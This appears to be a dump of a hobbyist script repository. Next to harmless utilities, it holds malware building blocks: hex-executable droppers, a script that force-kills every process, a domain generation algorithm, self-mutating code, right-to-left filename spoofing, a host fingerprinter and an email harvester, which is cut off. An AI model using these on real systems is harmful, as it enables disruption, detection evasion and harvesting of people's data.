├── FunScripts ├── Beep.ps1 ├── BSOD.vbs ├── PowerShellToExe.ps1 ├── VBSToExe.vbs ├── PingScanner.bat ├── PowerShellCommandEncoder.ps1 ├── ExportCert.ps1 ├── InstallCert.ps1 ├── Caesar Cipher.vbs ├── ListDeDuper.vbs ├── GetCertByName.ps1 ├── URLFileDownloader.vbs ├── RightToLeft.vbs ├── DriveInformation.vbs ├── Domain Generation Algorithm.ps1 ├── LogArchiver.bat ├── Metamorphic Code.vbs ├── ProgrammaticTor.ps1 ├── BadPath.vbs ├── SendNotification.ps1 ├── StockChecker.ps1 ├── Zelda.ps1 ├── DividendCounter.ps1 ├── FingerPrinter.ps1 ├── EmailRaider.vbs ├── YellowPagesScraper.vbs ├── NetworkDriveBruteForcer.vbs ├── Certkrypt.De.ps1 ├── FunScripts.csproj ├── Certkrypt.En.ps1 ├── VBSObfuscator.vbs ├── ADEnumerator.ps1 ├── DetectVM.ps1 ├── ConsoleVisualizer.ps1 └── Pi-10000-Digits.vbs ├── CONTRIBUTING.md ├── LICENSE ├── FunScripts.sln ├── .gitattributes ├── README.md └── .gitignore /FunScripts/Beep.ps1: -------------------------------------------------------------------------------- 1 | #This script makes 35 random pitch PowerShell console beeps 2 | 190..8500 | Get-Random -Count 35 | ForEach {[console]::Beep($_, 150)} -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | 1. Fork it 4 | 2. Create your feature branch (`git checkout -b my-new-feature`) 5 | 3. Commit your changes (`git commit -am 'Add some feature'`) 6 | 4. Push to the branch (`git push origin my-new-feature`) 7 | 5. Create new pull request (PR) 8 | 9 | # To Do 10 | 11 | - [ ] Add More Fun Scripts 12 | -------------------------------------------------------------------------------- /FunScripts/BSOD.vbs: -------------------------------------------------------------------------------- 1 | 'This script causes your computer to do a blue screen of death and restart 2 | 'useful for testing and troubleshooting, needs to be ran as an administrator 3 | Dim aShell 4 | Set aShell = CreateObject ("WScript.Shell") 5 | aShell.run "powershell get-process | stop-process -force" 6 | aShell.run "taskkill /IM mshta.exe" 7 | Set aShell = Nothing -------------------------------------------------------------------------------- /FunScripts/PowerShellToExe.ps1: -------------------------------------------------------------------------------- 1 | #This script deploys a hardcoded executable and runs it 2 | #exe in hex 3 | $hex = "" 4 | $hex = for($i=0; $i -lt $hex.length; $i+=2) 5 | { 6 | [char][int]::Parse($hex.substring($i,2),'HexNumber') 7 | } 8 | [System.IO.File]::WriteAllBytes("$env:temp\executable.exe", $hex) 9 | Start-Process -FilePath "$env:temp\executable.exe" 10 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/VBSToExe.vbs: -------------------------------------------------------------------------------- 1 | 'This script deploys a hardcoded executable and runs it 2 | Dim a, b, c, d, e 3 | Set a = CreateObject("Scripting.FileSystemObject") 4 | Set b = CreateObject("WScript.Shell") 5 | 'exe in hex 6 | c = "" 7 | Set d = a.CreateTextFile(a.GetSpecialFolder(2)&"\test.exe") 8 | 9 | For e = 1 To Len(c) step 2 10 | d.write Chr(CInt("&h" & mid(c,e,2))) 11 | Next 12 | 13 | d.Close 14 | b.Run a.GetSpecialFolder(2)&"\test.exe" -------------------------------------------------------------------------------- /FunScripts/PingScanner.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | REM This script is a ping scanner 3 | set ip1=192 4 | set ip2=168 5 | set ip3=1 6 | set ip4=1 7 | :start 8 | ping -n 1 %ip1%.%ip2%.%ip3%.%ip4% | find /i "unreachable" >nul>nul 9 | if not errorlevel 1 goto next 10 | if errorlevel 1 goto found 11 | :found 12 | echo found %ip1%.%ip2%.%ip3%.%ip4% 13 | :next 14 | if /i %ip4% NEQ 256 set /a ip4=%ip4%+1 15 | if /i %ip4% EQU 256 set /a ip3=%ip3%+1 16 | if /i %ip4% EQU 256 set /a ip4=1 17 | if %ip4% NEQ 256 goto start -------------------------------------------------------------------------------- /FunScripts/PowerShellCommandEncoder.ps1: -------------------------------------------------------------------------------- 1 | #This script encodes a PowerShell command and saves to a PowerShell script 2 | $command = 'write-host "LOL"' 3 | $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 4 | $scriptStart = "powershell.exe -encodedCommand " 5 | $encodedCommand = [Convert]::ToBase64String($bytes) 6 | $encodedCommand = $scriptStart + $encodedCommand 7 | $encodedCommand | set-content ("C:\FilePath\Output.ps1") 8 | #powershell.exe -encodedCommand dwByAGkAdABlAC0AaABvAHMAdAAgACIATABPAEwAIgA= -------------------------------------------------------------------------------- /FunScripts/ExportCert.ps1: -------------------------------------------------------------------------------- 1 | #Uses a certificate from the microsoft certificate store, replace the zeros with the certificate identifier. 2 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop 3 | #$password = "" 4 | $type = [System.Security.Cryptography.X509Certificates.X509ContentType]::Cert 5 | $bytes = $cert.Export($type) 6 | [System.IO.File]::WriteAllBytes("C:\FilePath\FileName.cer", $bytes) 7 | #$error | Out-File "C:\FilePath\Errors.txt" 8 | write-host "Done." 9 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/InstallCert.ps1: -------------------------------------------------------------------------------- 1 | #This script installs a certificate from a path 2 | $pfxpath = "C:\FilePath\FileName.cer" 3 | $password = "" 4 | Add-Type -AssemblyName System.Security 5 | $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 6 | $cert.Import($pfxpath, $password, ‘Exportable’) 7 | 8 | $store = Get-Item cert:\CurrentUser\My 9 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]"ReadWrite") 10 | $store.add($cert) 11 | $store.Close() 12 | #$error | Out-File "C:\FilePath\Errors.txt" 13 | write-host "Done." 14 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/Caesar Cipher.vbs: -------------------------------------------------------------------------------- 1 | 'The Caesar Cipher, used by Julius Caesar around 58 BC, is a substitution cipher that 2 | 'shifts letters in a message to make it unreadable if intercepted. 3 | 'To decrypt, the receiver reverses the shift. 4 | Sub CaesarCipher(CipherText) 5 | Dim o 6 | Dim v 7 | Dim StringRet 8 | o = "rfjznadeiowq21g.57kx-vtplc6s4/:8mhby390u " 9 | v = "8of2g0qpiwrvlcky-zj5aedh39t17m4/nb.6xu:s " 10 | StringRet = "" 11 | For i = 1 To Len(CipherText) 12 | StringRet = StringRet & Mid(o,InStr(v,Mid(CipherText, i, 1)), 1) 13 | Next 14 | MsgBox(StringRet) 15 | End Sub 16 | CaesarCipher("9wqigk i1 osg") -------------------------------------------------------------------------------- /FunScripts/ListDeDuper.vbs: -------------------------------------------------------------------------------- 1 | 'This script removes duplicates from a text file 2 | Set objFSO = CreateObject("Scripting.FileSystemObject") 3 | Set objFile = objFSO.OpenTextFile("C:\FilePath\List.txt", 1) 4 | Dim U() 5 | ReDim U(0) 6 | Dim p 7 | Dim strBuild 8 | p = 0 9 | strBuild = "" 10 | Do While objFile.AtEndOfStream = False 11 | ReDim Preserve U(p) 12 | strLine = objFile.ReadLine 13 | U(p) = strLine 14 | p = p + 1 15 | Loop 16 | 17 | For i = 0 to (UBound(U) - 1) 18 | For r = (i + 1) to (UBound(U) - 1) 19 | If U(i) = U(r) Then 20 | U(r) = "" 21 | End If 22 | Next 23 | Next 24 | 25 | Set WriteFile = objFSO.OpenTextFile("C:\FilePath\DeDuped.txt", 8, 1) 26 | For z = 0 to UBound(U) 27 | If U(z) <> "" Then 28 | WriteFile.WriteLine U(z) 29 | End If 30 | Next 31 | WriteFile.Close -------------------------------------------------------------------------------- /FunScripts/GetCertByName.ps1: -------------------------------------------------------------------------------- 1 | #This script retrieves a certificate from the certificate store by issuer 2 | $validCerts = @( 3 | Get-ChildItem -Path Cert:\CurrentUser\My | 4 | Where-Object { 5 | $_.PrivateKey -is [System.Security.Cryptography.RSACryptoServiceProvider] -and 6 | $_.Issuer -eq "CN=CERTNAME" 7 | } 8 | ) 9 | if ($validCerts.Count -eq 0) 10 | { 11 | write-host "No RSA certificates with usable private keys were found in the current user's store." 12 | start-sleep 120 13 | } 14 | if ($validCerts.Count -eq 1) 15 | { 16 | write-host "Certificate Found." 17 | $cert = $validCerts[0] 18 | $type = [System.Security.Cryptography.X509Certificates.X509ContentType]::Cert 19 | $bytes = $cert.Export($type) 20 | [System.IO.File]::WriteAllBytes("C:\FilePath\FileName.cer", $bytes) 21 | start-sleep 120 22 | } -------------------------------------------------------------------------------- /FunScripts/URLFileDownloader.vbs: -------------------------------------------------------------------------------- 1 | 'This script downloads a list of file URL's line by line from a text file. 2 | 'Works great with an extension like 'Link Gopher' which pulls URL's from webpages. 3 | Set fso=CreateObject("Scripting.FileSystemObject") 4 | 5 | filename = "list.txt" 6 | listFile = fso.OpenTextFile(filename).ReadAll 7 | listLines = Split(listFile, vbCrLf) 8 | i = 0 9 | 10 | For Each line In listLines 11 | dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") 12 | dim bStrm: Set bStrm = createobject("Adodb.Stream") 13 | Dim derp: Set derp = CreateObject("Scripting.FileSystemObject") 14 | xHttp.Open "GET", line, False 15 | xHttp.Send 16 | with bStrm 17 | .type = 1 18 | .open 19 | .write xHttp.responseBody 20 | .savetofile CStr(i) & "." & derp.GetExtensionName(line), 2 21 | end with 22 | i = i + 1 23 | Next -------------------------------------------------------------------------------- /FunScripts/RightToLeft.vbs: -------------------------------------------------------------------------------- 1 | 'This script showcases how to use the Right-To-Left Override Character 2 | 'It is used for languages that are read right to left (such as Arabic or Hebrew) 3 | 'This script creates a file ending in a ".exe" extension that is actually a ".txt" file 4 | 'Right-To-Left Override Character = chrw(&H202E) 5 | 'Left-To-Right Override Character = chrw(&H202D) 6 | 'You can go forward and backwards at will to create some funny but still working file names 7 | Dim FSO, FilePath, objNetwork, userName 8 | Set FSO = CreateObject ("Scripting.FileSystemObject") 9 | Set objNetwork = CreateObject("Wscript.Network") 10 | userName = objNetwork.UserName 11 | FilePath = "C:\Users\" & userName & "\Desktop\TextFile" & chrw(&H202E) & "exe.txt" 12 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1) 13 | WriteFile.Write "This is a Text File LOL" 14 | WriteFile.Close -------------------------------------------------------------------------------- /FunScripts/DriveInformation.vbs: -------------------------------------------------------------------------------- 1 | 'This script returns information for each drive in your computer and prints it to a text file. 2 | 'Just change the FilePath variable to change the output location of the text file. 3 | On Error Resume Next 4 | Set FSO = CreateObject ("Scripting.FileSystemObject") 5 | Dim FilePath 6 | FilePath = "C:\FilePath\DriveInformation.txt" 7 | Set TestFile = FSO.OpenTextFile(FilePath, 8, 1) 8 | For Each Drive In FSO.Drives 9 | If Drive.IsReady = True Then 10 | TestFile.WriteLine "Available Space: " & Drive.AvailableSpace & " Drive Letter: " & Drive.DriveLetter & " Drive Type: " & Drive.DriveType & " File System: " & Drive.FileSystem & " Free Space: " & Drive.FreeSpace & " Is Ready: " & Drive.IsReady & " Path: " & Drive.Path & " Root Folder: " & Drive.RootFolder & " Serial Number: " & Drive.SerialNumber & " Share Name: " & Drive.ShareName & " Total Size: " & Drive.TotalSize & " Volume Name: " & Drive.VolumeName 11 | End If 12 | Next 13 | TestFile.Close -------------------------------------------------------------------------------- /FunScripts/Domain Generation Algorithm.ps1: -------------------------------------------------------------------------------- 1 | #Domain Generation Algorithms (DGA) are algorithms are used to periodically generate a large number of domain names that can be used as rendezvous points with their command and control servers. 2 | function DGA($m, $d, $y) 3 | { 4 | $b = "" 5 | $algorithm = [Security.Cryptography.HashAlgorithm]::Create("SHA1") 6 | $a = "$m $d $y" 7 | for($i=1; $i -le 16; $i++) 8 | { 9 | $fileBytes = ([system.Text.Encoding]::UTF8).getbytes($a) 10 | $bytes = $algorithm.ComputeHash($fileBytes) 11 | $a = -Join ($bytes | ForEach {"{0:x2}" -f $_}) 12 | 13 | $t = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" 14 | foreach ($let in $t.Split(",")) 15 | { 16 | $a = $a -replace $let, "" 17 | } 18 | 19 | $a = $a.Substring(0,18) 20 | $p = ($([int64]($a)) % 25) + 97 21 | $b += $([char]($p)) 22 | } 23 | return "https://$b.com/" 24 | } 25 | 26 | $r = get-date 27 | for($i=1; $i -le 16; $i++) 28 | { 29 | DGA $([int]($r.Month)) $([int]($r.Day)) $([int]($r.Year)) 30 | $r = $r.AddDays(1) 31 | } 32 | 33 | start-sleep 120 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Kyler Condran 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /FunScripts/LogArchiver.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | REM This script archives log files 3 | REM Program: Log Archiver - Date: 01/17/2013 4 | REM Author: Kyler Condran 5 | 6 | REM Calculate the numbers of the Day/Month/Year 7 | FOR /F "tokens=2-4 delims=/-/ " %%A IN ("%date%") DO ( 8 | SET cwMonth=%%A 9 | SET cwDay=%%B 10 | SET cwYear=%%C 11 | ) 12 | 13 | REM Find out what day of the week it is. 14 | FOR /F %%D IN ('date /t') DO SET DAY=%%D 15 | 16 | REM Wait 20 minutes before executing this part of the script. 17 | REM The script must be started 10 minutes before midnight, to get current day/date. 18 | REM After 20 minute wait, it is the next day, and script does its actual work. 19 | ECHO Log Archiver Script Starting in 20 minutes. 20 | ECHO Do Not Close This Window Or Press Any Key. 21 | timeout 1200 22 | 23 | REM This part compresses the file in an archive then deletes the original. 24 | "C:\Program Files\WinRAR\rar.exe" a -ep "C:\Program Files\Logs\Syslog-%DAY%-%cwMonth%-%cwDay%-%cwYear%.rar" "C:\Program Files\Logs\Syslog%DAY%.txt" 25 | DEL "C:\Program Files\Logs\Syslog%DAY%.txt" 26 | 27 | forfiles /p "C:\Program Files\Logs" /s /m *.rar /d -14 /c "cmd /c DEL @PATH" 28 | ECHO Script Completed. 29 | timeout 10 -------------------------------------------------------------------------------- /FunScripts.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33829.357 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FunScripts", "FunScripts\FunScripts.csproj", "{EE043BDF-7C14-4F21-944B-4732A3D1A2B7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B9D88E09-AC17-408E-A999-3B7C3EFC7704} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /FunScripts/Metamorphic Code.vbs: -------------------------------------------------------------------------------- 1 | 'Metamorphic code is code that when run outputs a logically equivalent version of its own code under some interpretation. 2 | 'Every time it is run it will have a different file signature when compared by hashing algorithms but will continue to function as intended. 3 | Const ForReading = 1, ForWriting = 2 4 | Randomize 5 | Set FSO = CreateObject("Scripting.FileSystemObject") 6 | Set ThisFile = FSO.OpenTextFile(Wscript.ScriptFullName, ForReading) 7 | ThisCode = ThisFile.ReadAll 8 | ThisFile.Close 9 | Set ThisFile = FSO.OpenTextFile(Wscript.ScriptFullName, ForWriting, 1) 10 | ThisFile.Write Mutate(ThisCode) 11 | ThisFile.Close 12 | 13 | Function Mutate(MutaString) 14 | NewMutaString = "" 15 | iCount = 1 16 | While iCount <= Len(MutaString) 17 | If Mid(MutaString, iCount, 1) = Chr(32) Then 18 | NewMutaString = NewMutaString + Chr(32) 19 | Do 20 | iCount = iCount + 1 21 | Loop While Mid(MutaString, iCount, 1) = Chr(32) 22 | Else 23 | If Int(2 * Rnd) + 1 = 1 Then 24 | NewMutaString = NewMutaString + UCase(Mid(MutaString, iCount, 1)) 25 | Else 26 | NewMutaString = NewMutaString + LCase(Mid(MutaString, iCount, 1)) 27 | End If 28 | iCount = iCount + 1 29 | End If 30 | Wend 31 | Mutate = NewMutaString 32 | End Function -------------------------------------------------------------------------------- /FunScripts/ProgrammaticTor.ps1: -------------------------------------------------------------------------------- 1 | #This script downloads a file from a website using tor and a socks proxy 2 | #$ErrorActionPreference = 'SilentlyContinue' 3 | $ToolsPath = split-path -parent $MyInvocation.MyCommand.Definition 4 | $ErrorPath = Join-Path $ToolsPath 'Errors.txt' 5 | $ResponsePath = Join-Path $ToolsPath 'Response.txt' 6 | $Tor = Join-Path $ToolsPath 'tor.exe' 7 | $Polipo = Join-Path $ToolsPath 'polipo.exe' 8 | $WebClient = New-Object Net.WebClient 9 | $TorRoamingLog = Join-Path $ToolsPath 'RoamingLog.txt' 10 | Start-Process $Tor -ArgumentList " --Log `"notice file $TorRoamingLog`"" -WindowStyle Hidden 11 | do 12 | { 13 | Start-Sleep 1 14 | $LogContents = Get-Content $TorRoamingLog 15 | } 16 | while (!($LogContents -match 'Bootstrapped 100%: Done.')) 17 | Start-Process $Polipo -ArgumentList 'socksParentProxy=localhost:9050' -WindowStyle Hidden 18 | Start-Sleep 7 19 | $WebProxy = New-Object Net.WebProxy('localhost:8123') 20 | $WebProxy.UseDefaultCredentials = $True 21 | $WebClient.Proxy = $WebProxy 22 | $MyUri = 'https://website.com/filename.txt' 23 | while (!$MyResponse) 24 | { 25 | $MyResponse=$WebClient.DownloadString($MyUri) 26 | } 27 | $MyResponse | Out-File $ResponsePath 28 | $error | Out-File $ErrorPath 29 | write-host "Done." 30 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/BadPath.vbs: -------------------------------------------------------------------------------- 1 | 'This script creates an unbrowsable + undeletable illegal folder structure and puts a file inside it 2 | 'WARNING: Do not use this script, it could lead to data loss and more. Creating illegal folder structures can brick your computer and cause directory traversing applications to memory leak and crash. Windows Explorer can not navigate these folders. Turn back now. 3 | 'If you do continue you "might" be able to delete these folders with cmd.exe example: 4 | 'cd "C:\Users\userName\Desktop\" 5 | 'rmdir [tab] 6 | 'If not you may need to manually edit the drive with a special disk editing program like Hxd 7 | 'Working on Windows 7 and earlier 8 | Dim oFSO, objNetwork, userName 9 | Set objNetwork = CreateObject("Wscript.Network") 10 | Set oFSO = CreateObject("Scripting.FileSystemObject") 11 | userName = objNetwork.UserName 12 | 'Create Folder 1 13 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\" 14 | 'Create Folder 2 15 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\ \" 16 | 'Create Folder 3 17 | oFSO.CreateFolder "C:\Users\" & userName & "\Desktop\BadPath\ \...\" 18 | 'Copy File 19 | If oFSO.FileExists("C:\Users\" & userName & "\Desktop\FileName.txt") Then 20 | oFSO.CopyFile "C:\Users\" & userName & "\Desktop\FileName.txt", "C:\Users\" & userName & "\Desktop\BadPath\ \...\FileName.txt" 21 | End If -------------------------------------------------------------------------------- /FunScripts/SendNotification.ps1: -------------------------------------------------------------------------------- 1 | # Function to send a Windows 10/11 notification using default Windows API (no external modules required) 2 | function Send-WindowsNotification { 3 | param ( 4 | [Parameter(Mandatory=$true)] 5 | [string]$Title, 6 | 7 | [Parameter(Mandatory=$true)] 8 | [string]$Message 9 | ) 10 | 11 | [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null 12 | [Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom.XmlDocument, ContentType = WindowsRuntime] | Out-Null 13 | 14 | $AppId = "{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe" 15 | 16 | $Template = @" 17 | 18 | 19 | 20 | $Title 21 | $Message 22 | 23 | 24 | 25 | "@ 26 | 27 | $XmlDoc = New-Object Windows.Data.Xml.Dom.XmlDocument 28 | $XmlDoc.LoadXml($Template) 29 | 30 | $Toast = [Windows.UI.Notifications.ToastNotification]::new($XmlDoc) 31 | 32 | [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier($AppId).Show($Toast) 33 | } 34 | 35 | # Example usage: 36 | Send-WindowsNotification -Title "Hello!" -Message "This is a test notification" -------------------------------------------------------------------------------- /FunScripts/StockChecker.ps1: -------------------------------------------------------------------------------- 1 | #This PowerShell script scans a list of stock tickers for end of day prices via an API and notifies the user if any current prices are below the set threshold. 2 | $tickers = "" 3 | 4 | #A list of stock tickers and their respective price limits that trigger alerts when the price falls below the specified value. Add or subtract tickers from this list. 5 | $stocks = @{ 6 | "RY.TO" = 205.30 7 | "TD.TO" = 100.50 8 | "ENB.TO" = 75.10 9 | "BNS.TO" = 85.60 10 | "SHOP.TO" = 220.40 11 | } 12 | 13 | foreach ($stock in $stocks.GetEnumerator()) { 14 | $tickers = $tickers + $stock.Key + "," 15 | } 16 | 17 | $tickers = $tickers.Substring(0, $tickers.Length - 1) 18 | 19 | #Get an API key and plug it in here. 20 | $api_key = "00000000000000000000000000000000" 21 | $url = "https://api.marketstack.com/v2/eod/latest?access_key=$api_key&symbols=$tickers" 22 | $response = Invoke-WebRequest -Uri $url -UseBasicParsing 23 | $json = $response.Content | ConvertFrom-Json 24 | 25 | $counter = 0 26 | 27 | foreach ($stock in $stocks.GetEnumerator()) { 28 | $closingPrice = ($json.data | Where-Object { $_.symbol -eq $stock.Key }).close 29 | if ($closingPrice -lt $stock.Value) { 30 | $counter++ 31 | Write-Host $stock.Key $closingPrice 32 | } 33 | } 34 | 35 | if ($counter -eq 0) { 36 | Write-Output "No stocks found below the specified price limits." 37 | } -------------------------------------------------------------------------------- /FunScripts/Zelda.ps1: -------------------------------------------------------------------------------- 1 | #This script plays the Zelda theme in the PowerShell console. 2 | [console]::Beep(329,700) 3 | [console]::Beep(246,900) 4 | [console]::Beep(329,400) 5 | [console]::Beep(329,200) 6 | [console]::Beep(370,400) 7 | [console]::Beep(415,400) 8 | [console]::Beep(440,400) 9 | [console]::Beep(493,1000) 10 | [console]::Beep(493,350) 11 | [console]::Beep(493,350) 12 | [console]::Beep(523,350) 13 | [console]::Beep(587,350) 14 | [console]::Beep(659,1100) 15 | [console]::Beep(659,325) 16 | [console]::Beep(659,325) 17 | [console]::Beep(587,325) 18 | [console]::Beep(523,325) 19 | [console]::Beep(587,325) 20 | [console]::Beep(523,325) 21 | [console]::Beep(493,1100) 22 | [console]::Beep(493,550) 23 | [console]::Beep(440,325) 24 | [console]::Beep(440,325) 25 | [console]::Beep(493,325) 26 | [console]::Beep(523,1000) 27 | [console]::Beep(493,325) 28 | [console]::Beep(440,325) 29 | [console]::Beep(392,325) 30 | [console]::Beep(392,325) 31 | [console]::Beep(440,325) 32 | [console]::Beep(493,1000) 33 | [console]::Beep(440,325) 34 | [console]::Beep(392,325) 35 | [console]::Beep(370,325) 36 | [console]::Beep(370,325) 37 | [console]::Beep(392,325) 38 | [console]::Beep(440,1000) 39 | [console]::Beep(523,700) 40 | [console]::Beep(493,500) 41 | [console]::Beep(247,250) 42 | [console]::Beep(247,250) 43 | [console]::Beep(247,250) 44 | [console]::Beep(247,250) 45 | [console]::Beep(247,250) 46 | [console]::Beep(247,250) 47 | [console]::Beep(497,500) 48 | [console]::Beep(247,250) 49 | [console]::Beep(247,250) 50 | [console]::Beep(247,250) 51 | [console]::Beep(247,250) 52 | [console]::Beep(247,250) 53 | [console]::Beep(247,250) -------------------------------------------------------------------------------- /FunScripts/DividendCounter.ps1: -------------------------------------------------------------------------------- 1 | # Description: This script reads dividend data from a CSV file, provided you have a column named "Symbol" and "Value" that tracks dividend payments, aggregates the total dividends per stock ticker, and stores the results in a JSON file. 2 | $jsonPath = "DATA.JSON" 3 | $csvPath = "dividends.csv" 4 | 5 | # Count dividends from CSV pay statements 6 | function Count-Dividends { 7 | if (!(Test-Path -Path $jsonPath)) { 8 | $emptyArray = "[" + [Environment]::NewLine + [Environment]::NewLine + "]" 9 | Set-Content -Path $jsonPath -Value $emptyArray -Encoding UTF8 10 | } 11 | $input = Get-Content -Path $jsonPath -Raw 12 | $storedData = $input | ConvertFrom-Json 13 | 14 | # Import the CSV file 15 | $data = Import-Csv -Path $csvPath 16 | $overallValue = 0 17 | 18 | foreach ($row in $data) { 19 | $symbol = $row.Symbol 20 | $value = [decimal]$row.Value 21 | $value = [Math]::Round($value, 2) 22 | $overallValue += $value 23 | $existingStock = $storedData | Where-Object { $_.Ticker -eq $symbol } 24 | if ($existingStock) { 25 | ($storedData | Where-Object { $_.Ticker -eq $symbol }).Total += $value 26 | } else { 27 | $newStock = [PSCustomObject]@{ 28 | Ticker = $symbol 29 | Total = $value 30 | } 31 | $storedData += $newStock 32 | } 33 | } 34 | 35 | $storedData | ConvertTo-Json -Depth 3 | Out-File -FilePath $jsonPath -Encoding utf8 36 | Write-Host "A grand total of $overallValue" 37 | } 38 | 39 | # Total dividends from JSON file 40 | function Total-Dividends { 41 | $input = Get-Content -Path $jsonPath -Raw 42 | $storedData = $input | ConvertFrom-Json 43 | $overallValue = 0 44 | foreach ($item in $storedData){ 45 | $overallValue += $item.Total 46 | } 47 | Write-Host "A grand total of $overallValue" 48 | } 49 | 50 | Count-Dividends 51 | #Total-Dividends -------------------------------------------------------------------------------- /FunScripts/FingerPrinter.ps1: -------------------------------------------------------------------------------- 1 | #This PowerShell script fingerprints a Windows computer and saves the information to a text file. 2 | #Just change the $SavePath variable to set your location to save the text file. 3 | $WebClient = New-Object Net.WebClient 4 | $GeographicRegion = $WebClient.DownloadString('http://ip-api.com/json/') 5 | if(!$GeographicRegion) { $GeographicRegion = 0 } 6 | $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) 7 | $OperatingSystem = Get-WmiObject Win32_OperatingSystem 8 | $ComputerSystem = Get-WmiObject Win32_computersystem 9 | $InstalledSoftware = Get-WmiObject -Class Win32_Product 10 | $OSVersion = $OperatingSystem.Version 11 | $OSArchitecture = $OperatingSystem.OSArchitecture 12 | $Domain = $ComputerSystem.Domain 13 | $IsDomainJoined = $ComputerSystem.PartOfDomain 14 | $CultureInfo = [Globalization.Cultureinfo]::GetCultureInfo([Int] $OperatingSystem.OSLanguage).Name 15 | $SavePath = "C:\FilePath\sysinfo.txt" 16 | 17 | foreach ($SoftwarePackage in $InstalledSoftware) 18 | { 19 | $SoftwareProduct += $SoftwarePackage.Name + '|' + $SoftwarePackage.Version + '||' 20 | } 21 | 22 | $Newline = [Environment]::NewLine 23 | 24 | $SystemInfo = 'geodata=' + ($GeographicRegion) + $Newline + 25 | '&language=' + ($CultureInfo) + $Newline + 26 | '&isadmin=' + $IsAdmin + $Newline + 27 | '&win_version=' + ($OSVersion) + $Newline + 28 | '&domain=' + ($Domain) + $Newline + 29 | '&indomain=' + $IsDomainJoined + $Newline + 30 | '&os_arch=' + ($OSArchitecture) + $Newline + 31 | '&softlist=' + ($SoftwareProduct) 32 | 33 | $SystemInfoBytes = [Text.Encoding]::ASCII.GetBytes($SystemInfo) 34 | 35 | [System.IO.File]::WriteAllBytes($SavePath, $SystemInfoBytes) -------------------------------------------------------------------------------- /FunScripts/EmailRaider.vbs: -------------------------------------------------------------------------------- 1 | 'This script scans your computer for files that contain emails and adds them to a text file. 2 | 'Just change the FilePath variable to change the output location of the text file. 3 | On Error Resume Next 4 | Set FSO = CreateObject ("Scripting.FileSystemObject") 5 | Set Dict = CreateObject("Scripting.Dictionary") 6 | Dim FilePath 7 | FilePath = "C:\FilePath\emails.txt" 8 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1) 9 | 10 | Set objRE = New RegExp 11 | objRE.Global = True 12 | objRE.IgnoreCase = True 13 | objRE.Pattern = "[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}" 14 | 15 | For Each Drive In FSO.Drives 16 | If Drive.IsReady = True And (Drive.DriveType = 2) Then 17 | 'Add more drive types to scan more types of drives 18 | 'If Drive.IsReady = True And (Drive.DriveType = 2 